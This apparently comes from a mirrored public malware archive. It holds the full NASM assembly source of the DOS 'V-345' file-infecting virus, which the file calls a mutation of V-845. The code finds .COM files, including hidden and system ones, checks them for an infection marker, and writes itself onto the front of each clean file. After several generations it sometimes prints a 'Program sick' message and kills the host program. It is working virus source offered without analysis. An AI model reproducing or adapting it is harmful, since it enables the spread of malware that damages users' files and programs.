mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-25 16:38:38 +00:00
134 lines
2.7 KiB
NASM
134 lines
2.7 KiB
NASM
page ,132
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name V345
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title V-345 - a mutation of the V-845 virus
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.radix 16
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code segment
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assume cs:code,ds:code
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org 100
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timer equ 6C
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olddta equ 80
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virlen = offset endcode - offset start
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newid = offset ident - offset start
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start:
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jmp short virus
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ident dw 'VI'
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counter db 0
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allcom db '*.COM',0
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progbeg dd ?
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eof dw ?
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newdta db 2C dup (?)
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fname equ offset newdta+1E
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virus:
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push ax
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mov ax,cs ;Move program code
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add ax,1000 ; 64K bytes forward
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mov es,ax
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inc [counter]
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mov si,offset start
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xor di,di
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mov cx,virlen
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rep movsb
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mov dx,offset newdta ;Set new Disk Transfer Address
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mov ah,1A ;Set DTA
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int 21
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mov dx,offset allcom ;Search for '*.COM' files
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mov cx,110b ;Normal, Hidden or System
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mov ah,4E ;Find First file
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int 21
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jc done ;Quit if none found
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mainlp:
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mov dx,fname
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mov ax,3D02 ;Open file in Read/Write mode
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int 21
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mov bx,ax ; Save handle
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push es
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pop ds
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mov dx,virlen
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mov cx,0FFFF ;Read all bytes (64K max in .COM file)
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mov ah,3F ;Read from handle
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int 21 ;Bytes read in AX
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add ax,virlen
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mov cs:[eof],ax ;Save pointer to the end of file
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cmp ds:[newid+virlen],'VI' ;Infected?
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je close ;Go find next file if so
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xor cx,cx ;Go to file beginning
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mov dx,cx
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mov ax,4200 ;LSEEK from the beginning of the file
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int 21
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jc close ;Leave this file if error occures
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xor dx,dx ;Write the whole code (virus+file)
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mov cx,cs:[eof] ; back onto the file
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mov ah,40 ;Write to handle
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int 21
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close:
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mov ah,3E ;Close the file
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int 21
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push cs
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pop ds ;Restore DS
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mov ah,4F ;Find next matching file
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int 21
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jc done ;Exit if all found
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jmp mainlp ;Otherwise loop again
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done:
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mov dx,olddta ;Restore old Disk Transfer Address
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mov ah,1A ;Set DTA
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int 21
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cmp [counter],5 ;If counter goes above 5,
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jb progok ; the program becomes "sick"
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mov ax,40
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mov ds,ax ;Get the system timer value
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mov ax,word ptr [timer]
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push cs
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pop ds ;Restore DS
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and ax,1 ;At random (if timer value is odd)
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jz progok ; display the funny message
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mov dx,offset message
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mov ah,9 ;Print string
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int 21
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int 20 ;Terminate program
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message db 'Program sick error:Call doctor or '
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db 'buy PIXEL for cure description',0A,0Dh,'$'
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progok:
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mov si,offset transf ;Move this part of code
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mov cx,offset endcode - offset transf ;Code length
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xor di,di ;Move to ES:0
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rep movsb ;Do it
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pop bx ; BX = old AX
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mov word ptr cs:[progbeg],0
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mov word ptr cs:[progbeg+2],es ;Point progbeg at program start
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jmp cs:[progbeg] ;Jump at program start
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transf:
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push ds
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pop es
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mov si,offset endcode
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mov di,offset start
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mov cx,0FFFF ;Restore original program's code
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sub cx,si
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rep movsb
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mov word ptr cs:[start],offset start
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mov word ptr cs:[start+2],ds
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mov ax,bx
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jmp dword ptr cs:[start] ;Jump to program start
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endcode label byte
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int 20 ;Dummy program
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code ends
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end start
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